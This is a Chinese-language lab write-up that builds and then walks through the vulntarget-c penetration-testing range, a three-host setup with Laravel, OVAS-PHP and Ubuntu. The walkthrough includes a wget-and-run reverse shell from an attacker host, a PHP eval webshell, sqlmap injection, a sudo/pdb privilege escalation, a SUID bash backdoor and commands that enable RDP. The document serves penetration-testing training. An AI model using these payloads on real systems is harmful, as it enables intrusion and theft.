vulntarget漏洞靶场系列(三)— vulntarget-c
求大佬给个酱油位 历史精选 8696浏览 · 2022-01-25 15:21

vuntarget免责声明

vulntarget靶场系列仅供安全专业人员练习渗透测试技术,此靶场所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用靶场中的技术资料对任何计算机系统进行入侵操作。利用此靶场所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。
vulntarget靶场系列拥有对此靶场系列的的修改、删除和解释权限,未经授权,不得用于其他。

0. 相关漏洞技术

laravelOVAS-PHP相关漏洞、隧道代理、免杀、提权、CVE-2021-3129CVE-2021-3493

下载地址

百度云:
链接: 链接: https://pan.baidu.com/s/1p3GDd7V3Unmq3-wSAvl7_Q 提取码: 1p9p

下文搭建镜像在vulntarget-c目录下,a/b已经发表在星期五实验室微信公众号文章里,感兴趣的可以关注公众号,后续系列也会发在公众号

Github: https://github.com/crow821/vulntarget

测试说明

  1. 镜像都是基于VM16做的,没有向下兼容
  2. 操作人员自行修改第一层外网IP,将其修改为攻击机可访问IP即可,三层均服务自启
  3. 下载靶机,开机之后,确认自己网络配置好了,可以选择本地做一个快照,原本的快照可能会因为制作靶机的处理器和当前打开靶机的处理器不一致,导致快照恢复失败,或者异常(见谅)

1. 拓扑图

2. 搭建过程

2.1 外网ubuntu20

镜像地址:http://mirrors.aliyun.com/ubuntu-releases/20.04/

2.1.1 远程及网络配置

网络模式先选用桥接,具体安装过程参考:https://cdmana.com/2021/02/20210204085810375L.html

设置root密码:sudo passwd root,密码为root#qwe,修改sshd_config文件,允许远程登录

重启ssh服务:service ssh restart

2.2.2 安装php

php版本为:7.4.3

(如果单纯的测试laravel这个漏洞,使用php启动服务即可)

先更新:apt-get update,再安装php:apt install php7.4-cli

2.2.3 安装composer

官网地址为:https://getcomposer.org/download/

php -r "copy('https://getcomposer.org/installer', 'composer-setup.php');"
php composer-setup.php --version=2.0.8  //安装特定版本,不指定版本,默认安装最新的,后面composer安装插件的时候就会报错,本次选用2.0.8,其他版本未测试
php -r "unlink('composer-setup.php');"   //删除文件
mv composer.phar /usr/bin/composer

最新版本的composer安装插件会报如下错误:

2.2.4 安装Laravel 8.4.2

文件地址为:https://github.com/laravel/laravel/archive/refs/tags/v8.4.2.zip

安装:composer -vvv install(-vvv可以看到进度),使用非root账号安装

默认的composer在国内安装很慢,配置一个阿里的源:composer config -g repo.packagist composer https://mirrors.aliyun.com/composer/
报错:

安装扩展解决:sudo apt-get install php-xml

报另一个错误:

给目录赋予写权限就行:sudo chmod -R 777 laravel-8.4.2(一劳永逸,真实环境不可取)
安装成功

2.2.5 安装漏洞插件

漏洞插件安装:composer require facade/ignition==2.5.1

修改文件

cp .env.example .env        # .env文件必须这里设置了 APP_DEBUG=true,默认就行
php artisan key:generate    # 生成密钥

一切准备就绪之后,启动服务即可:php artisan serve --host=0.0.0.0

设置后台运行:nohup php artisan serve --host=0.0.0.0 &

开启之后页面不正常,key不对

参考:https://stackoverflow.com/questions/39693312/the-only-supported-ciphers-are-aes-128-cbc-and-aes-256-cbc-with-the-correct-key

更新:composer update

清理缓存:php artisan config:clear,然后再执行:php artisan config:cache,再重新生成key:php artisan key:generate

开启web服务试试:php artisan serve --host=0.0.0.0还是不行,再次执行:php artisan config:cache

2.2.6 安装apache

后经测试发现,使用php启动环境,msf连接之后web页面就会卡住(不影响msf的操作,单纯的web连接不上,估计是php启动服务是单线程的,msf连接之后,占用了),改为apache来起web服务

安装apache以及php解析

  1. 安装apache

sudo apt-get install apache2

  1. 安装php-apache解析插件

sudo apt install libapache2-mod-php7.4

  1. 配置文件

包含解析
sudo vim /etc/apache2/apache2.conf

<Directory /var/www/>
        Options Indexes FollowSymLinks
        AllowOverride all
        Require all granted
</Directory>

文件最后添加
IncludeOptional mods-available/php7.4.load
IncludeOptional mods-available/php7.4.conf

将之前的源码移动到apache目录下:/var/www/html/,隐藏文件:mv ./.* ..(移动当前隐藏文件到上一级)

修改网站根路径为/var/www/html/public
sudo vim /etc/apache2/sites-available/000-default.conf

启用mod_rewrite模块以支持.htaccess解析,参考
sudo a2enmod rewrite

重启服务
sudo systemctl restart apache2

2.2.6 配置sudo提权

root执行命令:visudo,或者编辑文件:vim /etc/sudoers
添加一句:vulntarget ALL=(ALL:ALL) NOPASSWD:/usr/bin/python3 /opt/root.py,脚本参考之前做vulnhub遇到的一次提权。

2.2.7 双网卡配置

均为静态IP,位置文件为:/etc/netplan/00-installer-config.yaml
编辑文件:sudo vim /etc/netplan/00-installer-config.yaml
文件内容为:

# This is the network config written by 'subiquity'
network:
  ethernets:
    ens33:
      addresses:
      - 192.168.0.104/24        //修改
      gateway4: 192.168.0.1   //修改
      nameservers:
        addresses:
        - 8.8.8.8
        search:
        - local
    ens38:
        addresses:
        - 10.0.20.141/24
        gateway4: 10.0.20.1
  version: 2

保存,然后重启服务:sudo netplan apply

2.2 server2016

2.2.1 xampp安装


选择这个版本的xampp,一路下一步即可。



安装完成后打开主控台点击如图所示安装服务

2.2.2 cms安装

解压cms,并将cms目录移动到C:\xampp\htdocs目录下


xampp面板中开启apachemysql服务

打开浏览器,在浏览器中输入localhost/phpmyadmin打开phpmyadmin页面

点击新建,输入数据库名:ovas_db,然后点击右侧创建:

点击上方导入,选择数据库文件,路径为:C:\xampp\htdocs\ovas\database\ovas_db.sql


翻到右下角,点击执行


在浏览器中输入:localhost/ovas访问,成功搭建

点击右上角Admin Login登录后台,用户名admin密码admin123


成功登录后台

2.2.3 网络

配置文件及网络

防火墙WDF都开着

2.3 ubuntu16

具体安装,参考:https://blog.csdn.net/zhengchaooo/article/details/79500209
安装ssh,配置静态IP(根据自己需求自行修改)
配置文件:/etc/network/interfaces

3. 测试过程

3.2 测试过程(仅供参考)

测试过程,仅供参考,如有未考虑到地方,请见谅

3.2.1 外网打点

ip10.30.7.51
使用nmap工具进行端口扫描,发现存在22端口和80端口

访问80端口,为Laravel框架

3.2.2 Laravel getshell

该版本的Laravel存在,CVE-2021-3129-Laravel Debug mode 远程代码执行漏洞
下载工具

git clone https://github.com/SNCKER/CVE-2021-3129

cd CVE-2021-3129

git clone https://github.com/ambionics/phpggc.git(exp执行需要使用此工具)

修改exploit.pyip和命令

运行脚本 python3 exploit.py
命令执行成功

上线msf
攻击机生成linux反向马

攻击机python开启http传输服务,

msf开启监听

执行木马下载、赋权、执行代码

wget http://10.30.7.99:9999/7776.elf&&chmod 777 7776.elf&&./7776.elf

上线失败,使用pwd执行发现目前路径为/,猜测权限执行不够

于是更换路径去执行命令,可以通过Wappalyzer插件来,中间件为Apache,使用Laravel框架搭建,猜测apache默认路径,下载Laravel源码发现文件放在public路径下

cd /var/www/html/public&&wget http://10.30.7.99:9999/7776.elf&&chmod 777 7776.elf&&./7776.elf


成功上线msf

3.2.3 sudo 提权

run post/multi/recon/local_exploit_suggester

尝试提权,失败。

进入到/home,发现存在vulntarget路径,证明存在vulntarget用户
尝试登录,发现存在弱密码为root

sudo -l查看可允许sudo权限的文件

查看root.py文件内容

分析代码可以看到,其作用是开启一个本地监听,然后接受连接,由于未做输入检查,当输入非数字时,会进入pdb模块,该模块可执行root权限的命令
sudo运行此文件

另开一个终端,nc进入,输入字母使其报错,密码可以从root.py文件中得到

监听端进入Pdb模块,可以通过os模块来执行root权限的命令


使用chmod u+s /bin/bash 来获取持久化权限

提权成功

3.2.4 内网信息收集

进入shell后,查看ip信息,发现存在内网10.0.20.0/24网段

使用auxiliary/scanner/portscan/tcp模块进行主机存活扫描

发现存活主机10.0.20.100,且开放了80443端口
开启msf socks5代理

3.2.5 OVAS-PHP 弱口令进入后台

火狐浏览器挂msfsocks5代理访问,80端口即http://10.0.20.100


登录框尝试爆破进入

浏览器开启burp代理,bp抓包后

POST /classes/Login.php?f=login HTTP/1.1
Host: 10.0.20.100
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 30
Origin: http://10.0.20.100
Connection: close
Referer: http://10.0.20.100/admin/login.php
Cookie: PHPSESSID=ndd4l701jdk2un19ijjhufgc39

username=admin&password=123456

burp开启代理

进入Intruder模块,尝试爆破

发现密码为admin123,登录后台

账号:admin密码:admin123

3.2.6 后台注入getshell

访问Inquiriesburpsuite抓包

GET /admin/inquiries/view_details.php?id=1 HTTP/1.1
Host: 10.0.20.100
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Connection: close
Referer: http://10.0.20.100/admin/?page=inquiries
Cookie: PHPSESSID=ndd4l701jdk2un19ijjhufgc39

使用sqlmap进行getshell,发现msf的代理不稳定,无法连接目标URL

使用较稳定的frp代理
服务器开启frps服务

上传frpcsocks.ini配置文件到目标机器上。

进入msfsession会话中,进入shell

python3 -c 'import pty;pty.spawn("/bin/bash")'

运行frpc客户端

sqlmap -r 2.txt --proxy=socks://10.30.7.99:8888


通过sqlmapshell

拿到shell

写入一句话木马,上线蚁剑

echo ^<^?php $a = $_REQUEST['d'];$a = "$a";$b['test'] = "";eval($b['test']."$a");?^>^ > test.php


test.php木马文件替换成index.php

访问http://10.0.20.100/admin/?page=inquiries,就可以访问该木马了

蚁剑开启代理

成功连接

命令执行成功

3.2.7 免杀defender 上线msf

systeminfo查看系统信息,为Windows Server 2016

该机器存在Windows Defender 普通的cs木马会被杀,做免杀上线即可,将免杀上传到受害机运行(此处免杀方法不唯一,详情略~
开启监听

木马执行

上线成功

添加路由

3.2.8 windows 2016 远程登录

查看内网信息ipconfig

还存在10.0.10.0/24网段

use auxiliary/scanner/portscan/tcp


发现存在主机10.0.10.110
抓取2016密码

NTLM解密


密码为Admin#123
开启远程桌面,可以使用以下几个命令来开启远程,进而登录

reg add "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /t REG_DWORD /v portnumber /d 3389 /f
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0 /f

开启代理登录远程桌面

在任务栏存在远程连接工具,输入本机密码登录成功

存在10.0.10.110机器的连接会话,与之前扫描发现的内网主机一致。

3.2.9 ubuntu16 内核提权

sudo 版本为1.8.16 存在sudo提权漏洞 ,但是没有利用成功

使用另一个去年出的内核提权exp打成功了

#exp
https://github.com/briskets/CVE-2021-3493

本机编译好利用exp,并使用tar进行压缩(直接上传会被defender删)

解压运行:

提权成功!

1 条评论
某人
表情
可输入 255